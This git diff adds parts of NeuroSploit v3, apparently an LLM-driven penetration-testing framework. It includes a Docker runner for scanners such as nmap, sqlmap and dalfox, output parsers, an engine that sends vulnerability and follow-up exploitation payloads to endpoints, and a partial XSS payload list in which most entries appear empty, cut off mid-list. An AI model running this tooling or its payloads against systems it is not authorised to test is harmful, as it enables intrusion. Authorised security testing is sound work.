+ "parser": "parse_subfinder_output" + }, + "dalfox": { + "name": "Dalfox", + "description": "XSS scanner", + "command": "dalfox url {target} -o /opt/output/dalfox.txt --silence", + "output_file": "/opt/output/dalfox.txt", + "parser": "parse_dalfox_output" + } + } + + +class DockerToolExecutor: + """Execute security tools in Docker containers""" + + DOCKER_IMAGE = "neurosploit-tools:latest" + DEFAULT_TIMEOUT = 300 # 5 minutes + MAX_OUTPUT_SIZE = 1024 * 1024 # 1MB max output + + def __init__(self): + self.client = None + self.active_containers: Dict[str, Any] = {} + self._initialized = False + + async def initialize(self) -> Tuple[bool, str]: + """Initialize Docker client and ensure image exists""" + try: + self.client = docker.from_env() + self.client.ping() + + # Check if tools image exists + try: + self.client.images.get(self.DOCKER_IMAGE) + self._initialized = True + return True, "Docker initialized with tools image" + except docker.errors.ImageNotFound: + # Try to build the image + logger.info("Building security tools Docker image...") + return await self._build_tools_image() + + except docker.errors.DockerException as e: + return False, f"Docker not available: {str(e)}" + except Exception as e: + return False, f"Failed to initialize Docker: {str(e)}" + + async def _build_tools_image(self) -> Tuple[bool, str]: + """Build the security tools Docker image""" + try: + dockerfile_path = os.path.join( + os.path.dirname(os.path.dirname(os.path.dirname(__file__))), + "docker", "Dockerfile.tools" + ) + + if not os.path.exists(dockerfile_path): + return False, f"Dockerfile not found at {dockerfile_path}" + + # Build image + build_path = os.path.dirname(dockerfile_path) + image, logs = self.client.images.build( + path=build_path, + dockerfile="Dockerfile.tools", + tag=self.DOCKER_IMAGE, + rm=True + ) + + self._initialized = True + return True, "Tools image built successfully" + + except Exception as e: + return False, f"Failed to build tools image: {str(e)}" + + def is_available(self) -> bool: + """Check if Docker executor is available""" + return self._initialized and self.client is not None + + def get_available_tools(self) -> List[Dict]: + """Get list of available security tools""" + return [ + { + "id": tool_id, + "name": tool["name"], + "description": tool["description"] + } + for tool_id, tool in SecurityTool.TOOLS.items() + ] + + async def execute_tool( + self, + tool_name: str, + target: str, + options: Optional[Dict] = None, + timeout: int = None + ) -> ToolResult: + """Execute a security tool against a target""" + + if not self.is_available(): + return ToolResult( + tool=tool_name, + command="", + status=ToolStatus.FAILED, + output="", + error="Docker executor not initialized" + ) + + tool_config = SecurityTool.TOOLS.get(tool_name.lower()) + if not tool_config: + return ToolResult( + tool=tool_name, + command="", + status=ToolStatus.FAILED, + output="", + error=f"Unknown tool: {tool_name}" + ) + + # Parse target URL + from urllib.parse import urlparse + parsed = urlparse(target) + host = parsed.netloc or parsed.path + domain = host.split(':')[0] + + # Build command + command = tool_config["command"].format( + target=target, + host=host, + domain=domain + ) + + # Add custom options + if options: + for key, value in options.items(): + command += f" {key} {value}" + + timeout = timeout or self.DEFAULT_TIMEOUT + started_at = datetime.utcnow() + + result = ToolResult( + tool=tool_name, + command=command, + status=ToolStatus.RUNNING, + output="", + started_at=started_at.isoformat() + ) + + container = None + + try: + # Create and run container + container = self.client.containers.run( + self.DOCKER_IMAGE, + command=command, + detach=True, + remove=False, + network_mode="bridge", + mem_limit="512m", + cpu_period=100000, + cpu_quota=50000, # 50% CPU + volumes={}, + environment={ + "TERM": "xterm" + } + ) + + container_id = container.id[:12] + self.active_containers[container_id] = container + + # Wait for container to finish + try: + exit_code = container.wait(timeout=timeout) + + # Get output + logs = container.logs(stdout=True, stderr=True) + output = logs.decode('utf-8', errors='replace') + + # Truncate if too large + if len(output) > self.MAX_OUTPUT_SIZE: + output = output[:self.MAX_OUTPUT_SIZE] + "\n... [output truncated]" + + # Try to get output file + try: + output_file = tool_config.get("output_file") + if output_file: + bits, stat = container.get_archive(output_file) + # Extract file content from tar + import tarfile + import io + tar_stream = io.BytesIO() + for chunk in bits: + tar_stream.write(chunk) + tar_stream.seek(0) + with tarfile.open(fileobj=tar_stream) as tar: + for member in tar.getmembers(): + if member.isfile(): + f = tar.extractfile(member) + if f: + file_content = f.read().decode('utf-8', errors='replace') + output = file_content + except Exception: + pass # Use container logs as output + + result.output = output + result.status = ToolStatus.COMPLETED if exit_code.get('StatusCode', 1) == 0 else ToolStatus.FAILED + + except Exception as e: + if "timeout" in str(e).lower() or "read timeout" in str(e).lower(): + result.status = ToolStatus.TIMEOUT + result.error = f"Tool execution timed out after {timeout}s" + container.kill() + else: + raise + + except Exception as e: + result.status = ToolStatus.FAILED + result.error = str(e) + logger.error(f"Tool execution failed: {e}") + + finally: + # Cleanup container + if container: + try: + container.remove(force=True) + except Exception: + pass + self.active_containers.pop(container.id[:12], None) + + completed_at = datetime.utcnow() + result.completed_at = completed_at.isoformat() + result.duration_seconds = (completed_at - started_at).total_seconds() + + # Parse findings from output + if result.status == ToolStatus.COMPLETED and result.output: + parser_name = tool_config.get("parser") + if parser_name and hasattr(self, parser_name): + parser = getattr(self, parser_name) + result.findings = parser(result.output, target) + + return result + + async def kill_container(self, container_id: str) -> bool: + """Kill a running container""" + container = self.active_containers.get(container_id) + if container: + try: + container.kill() + container.remove(force=True) + del self.active_containers[container_id] + return True + except Exception: + pass + return False + + async def cleanup_all(self): + """Cleanup all running containers""" + for container_id in list(self.active_containers.keys()): + await self.kill_container(container_id) + + # ==================== Output Parsers ==================== + + def parse_dirb_output(self, output: str, target: str) -> List[Dict]: + """Parse dirb output into findings""" + findings = [] + + # Match lines like: + http://example.com/admin (CODE:200|SIZE:1234) + pattern = r'\+ (https?://[^\s]+)\s+\(CODE:(\d+)\|SIZE:(\d+)\)' + matches = re.findall(pattern, output) + + for url, code, size in matches: + severity = "info" + if "/admin" in url.lower() or "/panel" in url.lower(): + severity = "medium" + elif ".env" in url or "config" in url.lower() or ".git" in url: + severity = "high" + + findings.append({ + "title": f"Directory/File Found: {url.split('/')[-1] or url}", + "severity": severity, + "vulnerability_type": "Information Disclosure", + "description": f"Accessible endpoint discovered at {url}", + "affected_endpoint": url, + "evidence": f"HTTP {code}, Size: {size} bytes", + "remediation": "Review if this endpoint should be publicly accessible" + }) + + return findings + + def parse_feroxbuster_output(self, output: str, target: str) -> List[Dict]: + """Parse feroxbuster JSON output""" + findings = [] + + for line in output.split('\n'): + if not line.strip(): + continue + try: + data = json.loads(line) + url = data.get('url', '') + status = data.get('status', 0) + + if status in [200, 301, 302, 403]: + severity = "info" + if "/admin" in url.lower() or status == 403: + severity = "medium" + elif ".env" in url or ".git" in url: + severity = "high" + + findings.append({ + "title": f"Endpoint: {url.split('/')[-1] or url}", + "severity": severity, + "vulnerability_type": "Information Disclosure", + "description": f"Discovered endpoint: {url}", + "affected_endpoint": url, + "evidence": f"HTTP {status}", + "remediation": "Review endpoint accessibility" + }) + except json.JSONDecodeError: + continue + + return findings + + def parse_ffuf_output(self, output: str, target: str) -> List[Dict]: + """Parse ffuf JSON output""" + findings = [] + + try: + data = json.loads(output) + results = data.get('results', []) + + for result in results: + url = result.get('url', '') + status = result.get('status', 0) + length = result.get('length', 0) + + severity = "info" + path = url.lower() + if any(x in path for x in ['/admin', '/panel', '/dashboard']): + severity = "medium" + elif any(x in path for x in ['.env', '.git', 'config', 'backup']): + severity = "high" + + findings.append({ + "title": f"Found: {url.split('/')[-1]}", + "severity": severity, + "vulnerability_type": "Content Discovery", + "description": f"Discovered: {url}", + "affected_endpoint": url, + "evidence": f"HTTP {status}, Length: {length}", + "remediation": "Review if endpoint should be accessible" + }) + except json.JSONDecodeError: + # Fall back to text parsing + pass + + return findings + + def parse_gobuster_output(self, output: str, target: str) -> List[Dict]: + """Parse gobuster output""" + findings = [] + + for line in output.split('\n'): + # Match: /admin (Status: 200) [Size: 1234] + match = re.search(r'(/[^\s]+)\s+\(Status:\s*(\d+)\)', line) + if match: + path = match.group(1) + status = match.group(2) + url = target.rstrip('/') + path + + severity = "info" + if any(x in path.lower() for x in ['/admin', '/panel']): + severity = "medium" + elif any(x in path.lower() for x in ['.env', '.git', 'config']): + severity = "high" + + findings.append({ + "title": f"Found: {path}", + "severity": severity, + "vulnerability_type": "Content Discovery", + "description": f"Discovered endpoint at {url}", + "affected_endpoint": url, + "evidence": f"HTTP {status}", + "remediation": "Review endpoint accessibility" + }) + + return findings + + def parse_nuclei_output(self, output: str, target: str) -> List[Dict]: + """Parse nuclei JSONL output""" + findings = [] + + severity_map = { + "critical": "critical", + "high": "high", + "medium": "medium", + "low": "low", + "info": "info" + } + + for line in output.split('\n'): + if not line.strip(): + continue + try: + data = json.loads(line) + + findings.append({ + "title": data.get('info', {}).get('name', 'Unknown'), + "severity": severity_map.get( + data.get('info', {}).get('severity', 'info'), + 'info' + ), + "vulnerability_type": data.get('info', {}).get('tags', ['vulnerability'])[0] if data.get('info', {}).get('tags') else 'vulnerability', + "description": data.get('info', {}).get('description', ''), + "affected_endpoint": data.get('matched-at', target), + "evidence": data.get('matcher-name', ''), + "remediation": data.get('info', {}).get('remediation', 'Review and fix the vulnerability'), + "references": data.get('info', {}).get('reference', []) + }) + except json.JSONDecodeError: + continue + + return findings + + def parse_nmap_output(self, output: str, target: str) -> List[Dict]: + """Parse nmap output""" + findings = [] + + # Parse open ports + port_pattern = r'(\d+)/tcp\s+open\s+(\S+)\s*(.*)?' + for match in re.finditer(port_pattern, output): + port = match.group(1) + service = match.group(2) + version = match.group(3) or '' + + severity = "info" + if service in ['telnet', 'ftp']: + severity = "medium" + elif 'vnc' in service.lower() or 'rdp' in service.lower(): + severity = "medium" + + findings.append({ + "title": f"Open Port: {port}/{service}", + "severity": severity, + "vulnerability_type": "Open Port", + "description": f"Port {port} is open running {service} {version}".strip(), + "affected_endpoint": f"{target}:{port}", + "evidence": f"Service: {service}, Version: {version}", + "remediation": "Review if this port should be exposed" + }) + + return findings + + def parse_nikto_output(self, output: str, target: str) -> List[Dict]: + """Parse nikto output""" + findings = [] + + # Parse OSVDB entries and other findings + vuln_pattern = r'\+\s+(\S+):\s+(.+)' + for match in re.finditer(vuln_pattern, output): + ref = match.group(1) + desc = match.group(2) + + severity = "info" + if any(x in desc.lower() for x in ['sql', 'injection', 'xss']): + severity = "high" + elif any(x in desc.lower() for x in ['outdated', 'vulnerable', 'dangerous']): + severity = "medium" + + findings.append({ + "title": f"Nikto: {desc[:50]}...", + "severity": severity, + "vulnerability_type": "Web Vulnerability", + "description": desc, + "affected_endpoint": target, + "evidence": ref, + "remediation": "Review and address the finding" + }) + + return findings + + def parse_sqlmap_output(self, output: str, target: str) -> List[Dict]: + """Parse sqlmap output""" + findings = [] + + if "is vulnerable" in output.lower() or "sql injection" in output.lower(): + # Extract vulnerable parameter + param_match = re.search(r"Parameter:\s*(\S+)", output) + param = param_match.group(1) if param_match else "unknown" + + findings.append({ + "title": f"SQL Injection: {param}", + "severity": "critical", + "vulnerability_type": "SQL Injection", + "description": f"SQL injection vulnerability found in parameter: {param}", + "affected_endpoint": target, + "evidence": "SQLMap confirmed the vulnerability", + "remediation": "Use parameterized queries and input validation" + }) + + return findings + + def parse_whatweb_output(self, output: str, target: str) -> List[Dict]: + """Parse whatweb JSON output""" + findings = [] + + try: + data = json.loads(output) + if isinstance(data, list) and len(data) > 0: + result = data[0] + plugins = result.get('plugins', {}) + + techs = [] + for name, info in plugins.items(): + if name not in ['IP', 'Country']: + version = info.get('version', [''])[0] if info.get('version') else '' + techs.append(f"{name} {version}".strip()) + + if techs: + findings.append({ + "title": "Technology Stack Detected", + "severity": "info", + "vulnerability_type": "Information Disclosure", + "description": f"Detected technologies: {', '.join(techs)}", + "affected_endpoint": target, + "evidence": ", ".join(techs), + "remediation": "Consider hiding version information" + }) + except json.JSONDecodeError: + pass + + return findings + + def parse_httpx_output(self, output: str, target: str) -> List[Dict]: + """Parse httpx JSON output""" + findings = [] + + for line in output.split('\n'): + if not line.strip(): + continue + try: + data = json.loads(line) + + techs = data.get('tech', []) + title = data.get('title', '') + status = data.get('status_code', 0) + + if techs: + findings.append({ + "title": f"Technologies: {', '.join(techs[:3])}", + "severity": "info", + "vulnerability_type": "Technology Detection", + "description": f"Page title: {title}. Technologies: {', '.join(techs)}", + "affected_endpoint": data.get('url', target), + "evidence": f"HTTP {status}", + "remediation": "Review exposed technology information" + }) + except json.JSONDecodeError: + continue + + return findings + + def parse_katana_output(self, output: str, target: str) -> List[Dict]: + """Parse katana output""" + findings = [] + endpoints = set() + + for line in output.split('\n'): + url = line.strip() + if url and url.startswith('http'): + endpoints.add(url) + + # Group interesting findings + interesting = [u for u in endpoints if any(x in u.lower() for x in [ + 'api', 'admin', 'login', 'upload', 'config', '.php', '.asp' + ])] + + for url in interesting[:20]: # Limit findings + findings.append({ + "title": f"Interesting Endpoint: {url.split('/')[-1][:30]}", + "severity": "info", + "vulnerability_type": "Endpoint Discovery", + "description": f"Crawled endpoint: {url}", + "affected_endpoint": url, + "evidence": "Discovered via web crawling", + "remediation": "Review endpoint for security issues" + }) + + return findings + + def parse_subfinder_output(self, output: str, target: str) -> List[Dict]: + """Parse subfinder output""" + findings = [] + subdomains = [s.strip() for s in output.split('\n') if s.strip()] + + if subdomains: + findings.append({ + "title": f"Subdomains Found: {len(subdomains)}", + "severity": "info", + "vulnerability_type": "Subdomain Enumeration", + "description": f"Found {len(subdomains)} subdomains: {', '.join(subdomains[:10])}{'...' if len(subdomains) > 10 else ''}", + "affected_endpoint": target, + "evidence": "\n".join(subdomains[:20]), + "remediation": "Review all subdomains for security" + }) + + return findings + + def parse_dalfox_output(self, output: str, target: str) -> List[Dict]: + """Parse dalfox output""" + findings = [] + + # Look for XSS findings + if "POC" in output or "Vulnerable" in output.lower(): + poc_match = re.search(r'POC:\s*(\S+)', output) + poc = poc_match.group(1) if poc_match else "See output" + + findings.append({ + "title": "XSS Vulnerability Found", + "severity": "high", + "vulnerability_type": "Cross-Site Scripting (XSS)", + "description": "Dalfox found a potential XSS vulnerability", + "affected_endpoint": target, + "evidence": poc, + "remediation": "Implement proper output encoding and CSP" + }) + + return findings + + +# Global executor instance +_executor: Optional[DockerToolExecutor] = None + + +async def get_tool_executor() -> DockerToolExecutor: + """Get or create the global tool executor instance""" + global _executor + if _executor is None: + _executor = DockerToolExecutor() + await _executor.initialize() + return _executor diff --git a/backend/core/vuln_engine/__init__.py b/backend/core/vuln_engine/__init__.py new file mode 100644 index 0000000..a1d00d6 --- /dev/null +++ b/backend/core/vuln_engine/__init__.py @@ -0,0 +1,5 @@ +from backend.core.vuln_engine.engine import DynamicVulnerabilityEngine +from backend.core.vuln_engine.registry import VulnerabilityRegistry +from backend.core.vuln_engine.payload_generator import PayloadGenerator + +__all__ = ["DynamicVulnerabilityEngine", "VulnerabilityRegistry", "PayloadGenerator"] diff --git a/backend/core/vuln_engine/engine.py b/backend/core/vuln_engine/engine.py new file mode 100644 index 0000000..b123529 --- /dev/null +++ b/backend/core/vuln_engine/engine.py @@ -0,0 +1,287 @@ +""" +NeuroSploit v3 - Dynamic Vulnerability Engine + +The core of NeuroSploit v3: prompt-driven vulnerability testing. +Instead of hardcoded tests, this engine dynamically tests based on +what vulnerabilities are extracted from the user's prompt. +""" +import asyncio +import aiohttp +from typing import List, Dict, Optional, Any +from datetime import datetime + +from backend.core.vuln_engine.registry import VulnerabilityRegistry +from backend.core.vuln_engine.payload_generator import PayloadGenerator +from backend.models import Endpoint, Vulnerability, VulnerabilityTest +from backend.schemas.prompt import VulnerabilityTypeExtracted + + +class TestResult: + """Result of a vulnerability test""" + def __init__( + self, + vuln_type: str, + is_vulnerable: bool, + confidence: float, + payload: str, + request_data: dict, + response_data: dict, + evidence: Optional[str] = None + ): + self.vuln_type = vuln_type + self.is_vulnerable = is_vulnerable + self.confidence = confidence + self.payload = payload + self.request_data = request_data + self.response_data = response_data + self.evidence = evidence + + +class DynamicVulnerabilityEngine: + """ + Prompt-driven vulnerability testing engine. + + Key principles: + 1. Tests ONLY what the prompt specifies + 2. Generates payloads dynamically based on context + 3. Uses multiple detection techniques per vulnerability type + 4. Adapts based on target responses + """ + + def __init__(self, llm_manager=None): + self.llm_manager = llm_manager + self.registry = VulnerabilityRegistry() + self.payload_generator = PayloadGenerator() + self.session: Optional[aiohttp.ClientSession] = None + self.timeout = aiohttp.ClientTimeout(total=30) + + async def __aenter__(self): + self.session = aiohttp.ClientSession(timeout=self.timeout) + return self + + async def __aexit__(self, exc_type, exc_val, exc_tb): + if self.session: + await self.session.close() + + async def test_endpoint( + self, + endpoint: Endpoint, + vuln_types: List[VulnerabilityTypeExtracted], + context: Dict[str, Any], + progress_callback=None + ) -> List[TestResult]: + """ + Test an endpoint for specified vulnerability types. + + Args: + endpoint: The endpoint to test + vuln_types: List of vulnerability types to test for + context: Additional context (technologies, WAF info, etc.) + progress_callback: Optional callback for progress updates + + Returns: + List of test results + """ + results = [] + + if not self.session: + self.session = aiohttp.ClientSession(timeout=self.timeout) + + for vuln in vuln_types: + try: + if progress_callback: + await progress_callback(f"Testing {vuln.type} on {endpoint.url}") + + # Get tester for this vulnerability type + tester = self.registry.get_tester(vuln.type) + + # Get payloads for this vulnerability and endpoint + payloads = await self.payload_generator.get_payloads( + vuln_type=vuln.type, + endpoint=endpoint, + context=context + ) + + # Test each payload + for payload in payloads: + result = await self._execute_test( + endpoint=endpoint, + vuln_type=vuln.type, + payload=payload, + tester=tester, + context=context + ) + results.append(result) + + # If vulnerable, try to get more evidence + if result.is_vulnerable: + deeper_results = await self._deep_test( + endpoint=endpoint, + vuln_type=vuln.type, + initial_result=result, + tester=tester, + context=context + ) + results.extend(deeper_results) + break # Found vulnerability, move to next type + + except Exception as e: + print(f"Error testing {vuln.type}: {e}") + continue + + return results + + async def _execute_test( + self, + endpoint: Endpoint, + vuln_type: str, + payload: str, + tester, + context: Dict + ) -> TestResult: + """Execute a single vulnerability test""" + request_data = { + "url": endpoint.url, + "method": endpoint.method, + "payload": payload, + "timestamp": datetime.utcnow().isoformat() + } + + try: + # Build the test request + test_url, test_params, test_headers, test_body = tester.build_request( + endpoint=endpoint, + payload=payload + ) + + # Send the request + async with self.session.request( + method=endpoint.method, + url=test_url, + params=test_params, + headers=test_headers, + data=test_body, + ssl=False, + allow_redirects=False + ) as response: + response_text = await response.text() + response_data = { + "status": response.status, + "headers": dict(response.headers), + "body_preview": response_text[:2000] if response_text else "", + "content_length": len(response_text) if response_text else 0 + } + + # Analyze response for vulnerability + is_vulnerable, confidence, evidence = tester.analyze_response( + payload=payload, + response_status=response.status, + response_headers=dict(response.headers), + response_body=response_text, + context=context + ) + + return TestResult( + vuln_type=vuln_type, + is_vulnerable=is_vulnerable, + confidence=confidence, + payload=payload, + request_data=request_data, + response_data=response_data, + evidence=evidence + ) + + except asyncio.TimeoutError: + # Timeout might indicate time-based injection + response_data = {"error": "timeout", "timeout_seconds": self.timeout.total} + is_vulnerable = tester.check_timeout_vulnerability(vuln_type) + return TestResult( + vuln_type=vuln_type, + is_vulnerable=is_vulnerable, + confidence=0.7 if is_vulnerable else 0.0, + payload=payload, + request_data=request_data, + response_data=response_data, + evidence="Request timed out - possible time-based vulnerability" if is_vulnerable else None + ) + except Exception as e: + response_data = {"error": str(e)} + return TestResult( + vuln_type=vuln_type, + is_vulnerable=False, + confidence=0.0, + payload=payload, + request_data=request_data, + response_data=response_data, + evidence=None + ) + + async def _deep_test( + self, + endpoint: Endpoint, + vuln_type: str, + initial_result: TestResult, + tester, + context: Dict + ) -> List[TestResult]: + """ + Perform deeper testing after initial vulnerability confirmation. + This helps establish higher confidence and better PoC. + """ + results = [] + + # Get exploitation payloads + deeper_payloads = await self.payload_generator.get_exploitation_payloads( + vuln_type=vuln_type, + initial_payload=initial_result.payload, + context=context + ) + + for payload in deeper_payloads[:3]: # Limit to 3 deeper tests + result = await self._execute_test( + endpoint=endpoint, + vuln_type=vuln_type, + payload=payload, + tester=tester, + context=context + ) + if result.is_vulnerable: + result.confidence = min(result.confidence + 0.1, 1.0) + results.append(result) + + return results + + async def create_vulnerability_record( + self, + scan_id: str, + endpoint: Endpoint, + result: TestResult + ) -> Vulnerability: + """Create a vulnerability record from a test result""" + # Get severity based on vulnerability type + severity = self.registry.get_severity(result.vuln_type) + + # Get CWE ID + cwe_id = self.registry.get_cwe_id(result.vuln_type) + + # Get remediation advice + remediation = self.registry.get_remediation(result.vuln_type) + + # Generate title + title = self.registry.get_title(result.vuln_type) + + return Vulnerability( + scan_id=scan_id, + title=f"{title} on {endpoint.path or endpoint.url}", + vulnerability_type=result.vuln_type, + severity=severity, + cwe_id=cwe_id, + description=self.registry.get_description(result.vuln_type), + affected_endpoint=endpoint.url, + poc_request=str(result.request_data), + poc_response=str(result.response_data.get("body_preview", ""))[:5000], + poc_payload=result.payload, + impact=self.registry.get_impact(result.vuln_type), + remediation=remediation, + ai_analysis=result.evidence + ) diff --git a/backend/core/vuln_engine/payload_generator.py b/backend/core/vuln_engine/payload_generator.py new file mode 100644 index 0000000..387aa1b --- /dev/null +++ b/backend/core/vuln_engine/payload_generator.py @@ -0,0 +1,385 @@ +""" +NeuroSploit v3 - Dynamic Payload Generator + +Generates context-aware payloads for vulnerability testing. +""" +from typing import List, Dict, Any, Optional +import json +from pathlib import Path + + +class PayloadGenerator: + """ + Generates payloads for vulnerability testing. + + Features: + - Extensive payload libraries per vulnerability type + - Context-aware payload selection (WAF bypass, encoding) + - Dynamic payload generation based on target info + """ + + def __init__(self): + self.payload_libraries = self._load_payload_libraries() + + def _load_payload_libraries(self) -> Dict[str, List[str]]: + """Load comprehensive payload libraries""" + return { + # XSS Payloads + "xss_reflected": [ + "", + "", + "", + "", + "javascript:alert('XSS')", + "